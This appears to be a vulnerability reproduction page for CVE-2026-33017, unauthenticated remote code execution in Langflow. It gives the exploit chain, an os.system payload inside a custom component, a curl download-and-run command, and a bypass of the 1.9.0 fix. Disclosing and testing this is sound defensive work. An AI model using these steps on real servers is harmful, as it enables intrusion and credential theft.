CVE-2026-33017: Verified Repro With Script Download
CVE-2026-33017: Unauthenticated RCE in Langflow via public flow build endpoint
CVE-2026-33017 is verified against langflow · pip. Affected versions: <= 1.8.2 (all versions < 1.9.0). Fixed in 1.9.0. Vulnerability class: RCE. This critical reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00201.
What Is CVE-2026-33017?
CVE-2026-33017 is a critical unauthenticated remote code execution vulnerability in Langflow, reachable via the public flow-build endpoint with a single HTTP request. It was added to the CISA Known Exploited Vulnerabilities catalog on 2026-03-25. Pruva reproduced it (reproduction REPRO-2026-00201).
CVE-2026-33017 Severity & CVSS Score
CVE-2026-33017 is rated critical severity, with a CVSS base score of 9.8 out of 10.
Critical — the most severe class — typically remotely exploitable with severe impact. Treat as an emergency.
Affected langflow Versions
langflow · pip versions <= 1.8.2 (all versions < 1.9.0) are affected.
How to Reproduce CVE-2026-33017
pruva-verify REPRO-2026-00201 curl -O https://pruva.dev/api/v1/reproductions/REPRO-2026-00201/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh Proof of Reproduction for CVE-2026-33017
- reached the target end-to-end
- full exploit chain demonstrated
- on the real production code path
- high confidence
- the upstream fix blocks the same trigger
JSON body with malicious custom component code (top-level os.system) in POST /api/v1/build_public_tmp/{flow_id}/flow
- /api/v1/build_public_tmp/{flow_id}/flow
- start_flow_build
- build_graph_from_data
- create_class
- prepare_global_scope
- exec
reproduction_steps.sh Bypass of the CVE-2026-33017 v1.9.0 fix: the unauthenticated public flow build path (POST /api/v1/build_public_tmp/{flow_id}/flow) no longer accepts a client-supplied `data` parameter, but it loads the PUBLIC flow definition from the database and exec()'s each node's stored custom-component `code` at graph-build time…
How the agent worked
Root Cause and Exploit Chain for CVE-2026-33017
CVE-2026-33017 is an unauthenticated remote code execution (RCE) vulnerability in
Langflow prior to version 1.9.0. The public flow-build endpoint
POST /api/v1/build_public_tmp/{flow_id}/flow accepts an attacker-controlled
data parameter (FlowDataRequest) containing arbitrary Python code inside a
custom component node. Because the endpoint is intentionally unauthenticated for
public flows, any remote attacker can reach it. The supplied flow definition is
passed through start_flow_build() → build_graph_from_data() →
Graph.from_payload() and ultimately to the custom-component loader, which
extracts the code field and executes it with exec() inside
prepare_global_scope() (in lfx/custom/validate.py) without any sandboxing.
A module-level assignment such as _rce = os.system(...) is an ast.Assign
node that prepare_global_scope() collects and exec()s at graph-build time,
yielding arbitrary command execution with the privileges of the Langflow server
process. A single HTTP request is sufficient.
- Product: Langflow (PyPI package
langflow; Docker imagelangflowai/langflow) - Affected versions:
langflow < 1.9.0(reproduction uses1.8.1as the vulnerable image). - Patched versions:
>= 1.9.0(the public build endpoint hardcodesdata=Noneand loads the stored flow from the database only). - Risk level: Critical (CISA KEV added 2026-03-25).
- Consequences: An unauthenticated, remote attacker can run arbitrary system
commands, read environment variables (including LLM API keys / cloud
credentials), access/modify the database and flow data, and establish
persistence. The server process ran as
uid=1000(user) gid=0(root)in the container image.
Impact Parity
- Disclosed/claimed maximum impact: Unauthenticated remote code execution (code execution) via a single HTTP request to the public build endpoint.
- Reproduced impact from this run: Confirmed code execution. The vulnerable
langflowai/langflow:1.8.1container wrote/tmp/rce-proofcontaining the output of theidcommand (uid=1000(user) gid=0(root) groups=0(root)) plus a unique per-attempt token, after receiving an unauthenticated HTTP POST to/api/v1/build_public_tmp/{flow_id}/flow. The fixedlangflowai/langflow:1.9.0container did not write the proof file under the identical request (negative control). - Parity:
full. - Not demonstrated: None relevant; the claimed unauthenticated-RCE impact was directly demonstrated end-to-end against the real product.
Root Cause
The vulnerable endpoint build_public_tmp in
src/backend/base/langflow/api/v1/chat.py (v1.8.1) declares an inbound
data: FlowDataRequest parameter and forwards it directly to
start_flow_build():
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(..., data: Annotated[FlowDataRequest | None, Body(embed=True)] = None, ...):
owner_user, new_flow_id = await verify_public_flow_and_get_user(flow_id=flow_id, client_id=client_id)
job_id = await start_flow_build(flow_id=new_flow_id, ..., data=data, ...)
start_flow_build() (src/backend/base/langflow/api/build.py) builds the graph
from the attacker-supplied data when it is present:
async def create_graph(...):
if not data:
return await build_graph_from_db(...)
return await build_graph_from_data(flow_id=..., payload=data.model_dump(), ...)
build_graph_from_data() → Graph.from_payload() constructs vertices from the
attacker nodes. For a custom component (template._type == "Component"), the
loader calls create_class(code, class_name) in src/lfx/src/lfx/custom/validate.py,
which calls prepare_global_scope(module). That function iterates the module
body, collects top-level ast.Assign / ast.AnnAssign / ast.ClassDef /
ast.FunctionDef nodes into definitions, compiles them, and runs:
if definitions:
combined_module = ast.Module(body=definitions, type_ignores=[])
compiled_code = compile(combined_module, "<string>", "exec")
exec(compiled_code, exec_globals) # <-- attacker module-level code runs here
Therefore a top-level _rce = os.system("id > /tmp/rce-proof ...") executes
during graph construction, before any output is produced.
The only access control on the endpoint is verify_public_flow_and_get_user(),
which merely checks that the targeted flow_id is marked PUBLIC in the
database and that a client_id cookie is present (any value). The attacker
creates the public flow themselves (using the AUTO_LOGIN superuser session), so
this check is satisfied trivially.
Fix (v1.9.0): the endpoint no longer accepts a data parameter and hardcodes
data=None, so the build always loads the stored flow definition from the
database. It also validates the stored flow with
validate_flow_for_current_settings() and rejects custom components on the
public path (CustomComponentValidationError → HTTP 400). The diff is the
removal of data: ... = None from the signature and data=data → data=None
in the start_flow_build(...) call.
# v1.9.0
job_id = await start_flow_build(flow_id=new_flow_id, source_flow_id=flow_id,
..., data=None, # Always None - public flows load from database only
...)
Reproduction Steps
- The reproduction is fully automated by
bundle/repro/reproduction_steps.sh(with helperbundle/repro/repro_attempt.py). - The script pulls
langflowai/langflow:1.8.1(vulnerable) andlangflowai/langflow:1.9.0(fixed), then runs 2 vulnerable and 2 fixed isolated attempts. Each attempt:- starts a fresh Langflow container with
LANGFLOW_AUTO_LOGIN=trueand--backend-only, - waits for the
/healthendpoint, - performs
GET /api/v1/auto_loginto obtain a superuser access token, - creates a PUBLIC flow via
POST /api/v1/flows/, - sends the unauthenticated exploit
POST /api/v1/build_public_tmp/{flow_id}/flowwith aclient_idcookie and a body whosedatacontains oneCustomComponentnode whosecodeholds a top-level_rce = os.system("id > /tmp/rce-proof && echo RCE_CONFIRMED <token> >> /tmp/rce-proof"), - polls for
/tmp/rce-proofinside the container and copies it out as evidence, then tears the container down.
- starts a fresh Langflow container with
- Expected evidence: on the vulnerable image each attempt produces
logs/proof_vuln_N.txtcontaining theidoutput and the unique token, withexploit_status: 200andproof_exists: trueinlogs/result_vuln_N.json. On the fixed imageproof_exists: falsefor every attempt (logs/result_fixed_N.json).
Evidence
bundle/logs/reproduction_steps.log— full orchestrator log.bundle/logs/result_vuln_{1,2}.json— per-attempt JSON results for the vulnerable image (auto_login=200, create_flow=201, exploit=200, proof_exists=true, proof_content withuid=1000(user)...+ token).bundle/logs/proof_vuln_{1,2}.txt— the proof file exfiltrated from the vulnerable container (idoutput +RCE_CONFIRMED <token>).bundle/logs/result_fixed_{1,2}.json— per-attempt JSON results for the fixed image (exploit=200 but proof_exists=false).bundle/logs/container_{vuln,fixed}_{1,2}.log— container startup/runtime logs.bundle/repro/runtime_manifest.json— structured runtime evidence (entrypoint_kind=api_remote,service_started=true,healthcheck_passed=true,target_path_reached=true).bundle/repro/validation_verdict.json— structured verdict.
Key excerpt from a manual run against langflowai/langflow:1.8.1:
{"role":"vuln","token":"manualtest1","auto_login_status":200,"create_flow_status":201,
"flow_id":"b43e6614-...","exploit_status":200,
"exploit_body":"{\"job_id\":\"8449e0de-...\"}","proof_exists":true,
"proof_content":"uid=1000(user) gid=0(root) groups=0(root)\nRCE_CONFIRMED manualtest1",
"success":true}
Negative control against langflowai/langflow:1.9.0 (identical request):
{"role":"fixed","token":"fixedtest1","auto_login_status":200,"create_flow_status":201,
"exploit_status":200,"proof_exists":false,"proof_content":null,"success":false}
Environment: Docker 29.6.1; official images langflowai/langflow:1.8.1 and
:1.9.0; exploit executed via docker exec inside each container (the sandbox
cannot reach published host ports, so all HTTP traffic is generated inside the
container against http://127.0.0.1:7860). No sanitizers were used; this is a
non-sanitized production-path proof.
Recommendations / Next Steps
- Upgrade to Langflow
>= 1.9.0immediately. The public build endpoint no longer accepts client-supplied flow definitions and validates stored flows. - If AUTO_LOGIN must stay enabled in production, restrict network exposure of the Langflow HTTP port and place it behind an authenticated reverse proxy; AUTO_LOGIN issues a superuser session without credentials.
- Consider disabling custom components entirely on public flows
(
allow_custom_components=false) and enforceaccess_type=PRIVATEby default. - Add an integration test that posts a custom-component payload with a
module-level side-effect sentinel to
build_public_tmpand asserts it never fires, to prevent regressions of this fix.
Additional Notes
- Idempotency: The script removes any prior
/tmp/rce-proofat the start of each attempt and tears down the container afterwards, so consecutive runs are clean and reproducible. Verified by running two vulnerable and two fixed attempts back-to-back. - The malicious payload is delivered as a top-level assignment
(
_rce = os.system(...)) rather than a bare expression, becauseprepare_global_scope()onlyexec()s nodes it classifies asast.Assign/ast.AnnAssign/ast.ClassDef/ast.FunctionDef; an assignment is guaranteed to execute at graph-build time. - The flow created for the exploit uses a benign empty
data({"nodes":[],"edges":[]}) simply to satisfy theaccess_type=PUBLICrequirement; on the vulnerable path the attacker-supplieddataoverrides the stored definition, so the stored content is irrelevant. - The proof file is written inside the container filesystem and copied out via
docker cpfor durable evidence.
Variant Analysis & Alternative Triggers for CVE-2026-33017
CVE-2026-33017 was fixed (per the ticket and the repro) in Langflow 1.9.0 by
removing the client-supplied data parameter from the unauthenticated public
flow-build endpoint POST /api/v1/build_public_tmp/{flow_id}/flow and hardcoding
data=None so the build always loads the flow definition from the database. This
variant is a true bypass of that fix: the same unauthenticated public build
path still exec()'s each node's stored custom-component code at graph-build
time via prepare_global_scope()/eval_custom_component_code, and the only
validator the fix added (validate_flow_for_current_settings) is a no-op
under the default allow_custom_components=true. By first storing a malicious
CustomComponent inside a PUBLIC flow (via POST /api/v1/flows/ using the
AUTO_LOGIN superuser token — the exact capability the original CVE repro
already uses to create its public flow), an attacker triggers the public build
with nothing but a client_id cookie and obtains unauthenticated RCE on the
CVE's "fixed" langflowai/langflow:1.9.0. The bypass was confirmed empirically
(2/2 attempts: exploit_status=200, proof file written with
uid=1000(user) gid=0(root)). It is closed only in v1.10.1 by the upstream
follow-up commit 626365f088 ("run trusted server code on unauthenticated public
flow builds", the H1-3754930 follow-up); versions 1.9.0 through 1.10.0 remain
vulnerable.
Fix Coverage / Assumptions
Invariant the original (v1.9.0) fix relies on: "Public flows never accept
client-supplied data, and the stored flow definition is benign, and
validate_flow_for_current_settings will block any custom component that should
not run on the public path."
Code path(s) it explicitly covers:
- The in-request
databody field ofPOST /api/v1/build_public_tmp/{flow_id}/flow(src/backend/base/langflow/api/v1/chat.py:640): thedataparameter was removed anddata=Nonehardcoded (chat.py:720), so attacker flow data can no longer be supplied in the request body.source_flow_id=flow_id(chat.py:717) forces the build to load the flow from the DB viabuild_graph_from_db(src/backend/base/langflow/api/build.py:305-313).
What the fix does NOT cover (the gap):
- The stored-data injection vector.
POST /api/v1/flows/(src/backend/base/langflow/api/v1/flows.py:86,_new_flow) performs no custom-component validation when persisting aPUBLICflow, so an attacker can store a flow whosedatacontains an arbitrary-codeCustomComponent. - The validator it relies on is a no-op under the default configuration.
validate_flow_for_current_settings→check_flow_and_raise(src/lfx/src/lfx/utils/flow_validation.py:158-166) returns immediately whenallow_custom_componentsisTrue, andallow_custom_componentsdefaults toTrue(src/lfx/src/lfx/services/settings/base.py:386). The stored malicious custom component is therefore not blocked. - Consequently the public build still
exec()'s the node's storedcodeat graph-build time (src/lfx/src/lfx/custom/validate.py:218-222).
Variant / Alternate Trigger
Bypass path (same root cause, same sink, different injection point):
GET /api/v1/auto_login→ superuseraccess_token(no credentials;LANGFLOW_AUTO_LOGIN=true, identical to the parent repro's setup).POST /api/v1/flows/with{"name": ..., "access_type": "PUBLIC", "data": <malicious_graph>}— store a PUBLIC flow whosedatacontains oneCustomComponentnode whosecodehas a top-level_rce = os.system("id > /tmp/rce-proof ... && echo RCE_CONFIRMED <token> >> ..."). The top-level assignment is anast.Assignnode thatprepare_global_scope()collects andexec()'s at graph-build time, before any component method runs.POST /api/v1/build_public_tmp/{flow_id}/flowwith only aclient_idcookie and nodatafield in the body. The server loads the stored (malicious) flow from the DB andexec()'s the node code → RCE.
Entry point: POST /api/v1/build_public_tmp/{flow_id}/flow
(unauthenticated; client_id cookie only), with the malicious payload
pre-staged in the DB via the authenticated POST /api/v1/flows/ flow-create
endpoint (AUTO_LOGIN token).
Specific code path:
chat.py:build_public_tmp (640) → validate_flow_for_current_settings(flow.data)
(no-op, 711) → start_flow_build(data=None, source_flow_id=flow_id) (717-720) →
build.py:generate_flow_events/create_graph (305-313) →
build_graph_from_db → Graph.from_payload → create_class →
prepare_global_scope (custom/validate.py:218-222) → exec().
- Package/component: Langflow (
langflowPyPI;langflowai/langflowDocker image). Sensitive component: the unauthenticated public flow-build endpoint and the custom-component loader (lfx/custom/validate.py). - Affected versions (as tested):
langflowai/langflow:1.9.0(CVE's "fixed" version) is still vulnerable. Source analysis shows the bypass affects 1.9.0 through 1.10.0 (all versions that have the original fix but lack the H1-3754930 follow-up). The bypass is closed in 1.10.1. - Risk level: Critical — unauthenticated remote code execution with a single
HTTP request to the public build endpoint (plus one authenticated flow-create
request that needs no credentials under
AUTO_LOGIN=true). The server process ran asuid=1000(user) gid=0(root)in the container. - Consequences: Arbitrary command execution as the Langflow server user, enabling exfiltration of LLM API keys / cloud credentials, database/flow tampering, and persistence — identical to the parent CVE.
Impact Parity
- Disclosed/claimed maximum impact (parent CVE): Unauthenticated remote code execution via the public build endpoint.
- Reproduced impact from this variant run: Unauthenticated remote code
execution via the public build endpoint on the CVE's "fixed" 1.9.0 (proof file
containing
idoutput + per-attempt token,exploit_status=200). - Parity:
full. The variant achieves the same unauthenticated RCE as the parent CVE, on the version the CVE claims is fixed. - Not demonstrated: Beyond
os.systemcommand execution, no separate read/write primitive was exercised (same scope as the parent repro).
Root Cause
The underlying bug — exec() of attacker-controlled custom-component code
on the unauthenticated public build path with no sandboxing — is unchanged.
The v1.9.0 fix only relocated the trust boundary: it stopped trusting the
request body data, but continued trusting the database-stored data and
continued exec()'ing its node code. Because the only validator guarding the
stored data (validate_flow_for_current_settings) short-circuits on the default
allow_custom_components=true, and because flow creation
(POST /api/v1/flows/) performs no custom-component validation, an attacker can
smuggle arbitrary code into a PUBLIC flow and have the unauthenticated public
build execute it.
Fix commit that closes this variant (upstream follow-up):
626365f088379236776e0d72f7d18c9094e43ebb —
"fix(security): run trusted server code on unauthenticated public flow builds
(#13540)". It is an ancestor of v1.10.1 (commit a66b75ac26) but not of
v1.10.0/v1.9.0 (git merge-base --is-ancestor verified). Its own message
confirms the gap: "… a public flow containing a plain CustomComponent — or any
node carrying arbitrary code — would execute on that path without authentication
(follow-up to H1-3754930)."
Reproduction Steps
- The bypass is fully automated by
bundle/vuln_variant/reproduction_steps.sh(helperbundle/vuln_variant/variant_attempt.py, run inside each container). - The script pulls
langflowai/langflow:1.9.0(CVE "fixed") andlangflowai/langflow:1.10.1(follow-up fixed), records each image's exact version/identity, then runs 2 attempts against 1.9.0 and 2 attempts against 1.10.1. Each attempt:- starts a fresh container with
LANGFLOW_AUTO_LOGIN=true --backend-only, - waits for
/health, GET /api/v1/auto_login→ superuser token,POST /api/v1/flows/→ creates a PUBLIC flow whose storeddatacarries aCustomComponentwith a top-level_rce = os.system(...)payload,POST /api/v1/build_public_tmp/{flow_id}/flowwith only aclient_idcookie and nodatabody field,- polls for
/tmp/rce-proofand copies it out as evidence, then tears the container down.
- starts a fresh container with
- Expected evidence (observed):
- On
1.9.0: each attempt writeslogs/vuln_variant/proof_claimed_fixed_N.txtwithuid=1000(user) gid=0(root) groups=0(root)+RCE_CONFIRMED <token>, andlogs/vuln_variant/result_claimed_fixed_N.jsonshowsexploit_status: 200,proof_exists: true,success: true. - On
1.10.1:logs/vuln_variant/result_followup_fixed_N.jsonshowsexploit_status: 400,exploit_body: {"detail":"This flow cannot be executed."},proof_exists: false,success: false.
- On
- Exit semantics: exit
0= bypass reproduced on the CVE-claimed-fixed1.9.0(true bypass of the claimed fix) and not reproduced on1.10.1.
Evidence
bundle/vuln_variant/reproduction_steps.sh— orchestrator (idempotent; verified by two consecutive runs, both exit 0).bundle/vuln_variant/variant_attempt.py— in-container exploit helper.bundle/logs/vuln_variant/reproduction_steps.log— full orchestrator log.bundle/logs/vuln_variant/result_claimed_fixed_{1,2}.json— 1.9.0 per-attempt results (auto_login=200, create_flow=201, exploit=200, proof_exists=true).bundle/logs/vuln_variant/proof_claimed_fixed_{1,2}.txt— exfiltrated proof files from the 1.9.0 containers.bundle/logs/vuln_variant/result_followup_fixed_{1,2}.json— 1.10.1 per-attempt results (exploit=400 "This flow cannot be executed.", proof_exists=false).bundle/logs/vuln_variant/container_{claimed,followup}_fixed_{1,2}.log— container startup/runtime logs.bundle/logs/vuln_variant/{claimed_fixed,followup_fixed}_image_identity.txt— exact tested image version metadata (pip1.9.0/1.10.1).bundle/vuln_variant/runtime_manifest.json,bundle/vuln_variant/validation_verdict.json,bundle/vuln_variant/source_identity.json,bundle/vuln_variant/root_cause_equivalence.json,bundle/vuln_variant/variant_manifest.json— structured records.
Key excerpts (1.9.0, bypass succeeds):
{"role":"claimed_fixed","mode":"bypass","token":"dde4c416676ff815","endpoint":"public_stored",
"auto_login_status":200,"create_flow_status":201,"flow_id":"c9522932-...","exploit_status":200,
"exploit_body":"{\"job_id\":\"eadbad1c-...\"}","proof_exists":true,
"proof_content":"uid=1000(user) gid=0(root) groups=0(root)\nRCE_CONFIRMED dde4c416676ff815",
"success":true}
Negative control (1.10.1, bypass closed):
{"role":"followup_fixed","mode":"bypass","token":"e9b8fca5e5acaa53","endpoint":"public_stored",
"auto_login_status":200,"create_flow_status":201,"flow_id":"ccf86bca-...","exploit_status":400,
"exploit_body":"{\"detail\":\"This flow cannot be executed.\"}","proof_exists":false,
"proof_content":null,"success":false}
Environment: Docker 29.6.1; official images langflowai/langflow:1.9.0 and
:1.10.1; exploit executed via docker exec inside each container against
http://127.0.0.1:7860 (the sandbox cannot reach published host ports). No
sanitizers were used; this is a non-sanitized production-path proof. Source
identity resolved via image build metadata (pip version) → release tag → git
commit: 1.9.0 → a47f2ad17e (bypass reproduces), 1.10.1 → a66b75ac26
(bypass closed).
Recommendations / Next Steps
- Upgrade to Langflow ≥ 1.10.1, which substitutes the server's trusted code
for known component types on the public path and rejects unknown/custom
component types carrying code (
prepare_public_flow_build). Anyone running 1.9.0–1.10.0 is still exposed to this bypass. - Make public-path code-execution protection independent of the global
allow_custom_componentsflag. The flag governs authenticated behavior; it must not silently disable unauthenticated public-path protection. Theallow_public_custom_componentsopt-in (defaultfalse) introduced in v1.10.1 is the correct pattern and should be preserved. - Validate custom-component code at flow storage time
(
POST /api/v1/flows//PATCH) foraccess_type=PUBLICflows, so a malicious public flow can never be persisted. - Extend the same hardening to every public graph-build/run entry point
(e.g. any future public build or run endpoint), not only the one named in the
CVE, and add a regression test that stores a malicious
CustomComponentin a public flow, triggers the public build, and asserts the server's trusted code runs instead (assert: no proof side-effect, no attacker code path reached). - Treat
LANGFLOW_AUTO_LOGIN=trueas incompatible with public-flow exposure: it issues a superuser session with no credentials, which is the precondition that lets an anonymous attacker create the malicious public flow used here.
Additional Notes
- Bypass vs. alternate trigger: This is a bypass of the CVE's stated fix (1.9.0): it reproduces unauthenticated RCE on the version the CVE says is fixed. It is closed by a later, separate upstream follow-up (1.10.1), which the maintainer's own commit message attributes to the same class of issue ("follow-up to H1-3754930").
- Trust boundary: Identical to the parent CVE — unauthenticated public build
path. The flow-creation pre-step uses the
AUTO_LOGINsuperuser token (no credentials), exactly as the parent repro does to create its public flow. This is within Langflow's stated threat model (unauthenticated visitors must never execute arbitrary custom-component code on the public path); it is not a documented/accepted behavior. - Idempotency: The script removes any prior
/tmp/rce-proofat the start of each attempt, uses unique per-attempt tokens, and tears the container down afterwards. Verified by two consecutive full runs (both exit 0, both 2/2 on 1.9.0 and 0/2 on 1.10.1). - Not conflated with a separate bug: Same root cause (exec of
attacker-controlled custom-component
codeon the unauthenticated public build path) and same sink (prepare_global_scope→exec) as the parent CVE; only the injection point (request body vs. stored DB data) differs. - Edge case considered and ruled out as a different vector (not claimed
here): the authenticated
POST /api/v1/build/{flow_id}/flowendpoint still accepts adataparameter and, underallow_custom_components=true, itsvalidate_flow_for_current_settingsis also a no-op — so an AUTO_LOGIN token holder can RCE via that authenticated path too. That is a different (higher) trust boundary and is by-design per Langflow's threat model ("allow_custom_components grants custom-code execution to authenticated users"); it is therefore not claimed as the variant. The reported variant stays strictly on the unauthenticated public path, matching the parent CVE's trust boundary.
CVE-2026-33017 Reproduction Transcript
The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.
Full session Replay every step — scrub the timeline or play it back.
cd /data/pruva/project-cache/688af86e-dc4c-4d20-bb02-ccdf8da2c7d0/repo && git log --oneline -5 && echo "---HEAD---" && git rev-parse HEAD && echo "---BRANCH---" && git branch -a 2>/dev/null | head -20 && echo "---TAGS---" && git tag 2>/dev/null | grep -i "v1.8\|v1.9" | head -20315cc41b43 ci: surface nightly Group 3 stall via 90s pytest thread-timeout (#13938) ab8508db73 fix(ci): consolidate recent nightly CI fixes 26dc6fd3bc chore: update test durations (#13888) a277209fe4 ci: push nightly .devX Docker images to langflowai/langflow and fix db-migration-validation image references (#13836) 4da60c4b12 fix: keep nightly prerelease wheels explicit (#13817) ---HEAD--- 315cc41b43c446bfb0e63d420ca55021f6f8987e ---BRANCH---
cd /data/pruva/project-cache/688af86e-dc4c-4d20-bb02-ccdf8da2c7d0/repo && git tag 2>/dev/null | grep -E "v1\.8\.1|v1\.9\.0" v1.8.1 v1.8.1.dev0 v1.8.1.dev1 v1.9.0 v1.9.0.dev0 v1.9.0.dev1 v1.9.0.dev10 v1.9.0.dev11
Artifacts and Evidence for CVE-2026-33017
Scripts, logs, diffs, and output captured during the reproduction.
How to Fix CVE-2026-33017
Upgrade langflow · pip to 1.9.0 or later.
FAQ: CVE-2026-33017
How does the CVE-2026-33017 exploit work?
Which Langflow versions are affected by CVE-2026-33017, and where is it fixed?
How severe is CVE-2026-33017?
How can I reproduce CVE-2026-33017?
References for CVE-2026-33017
Authoritative sources for CVE-2026-33017 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.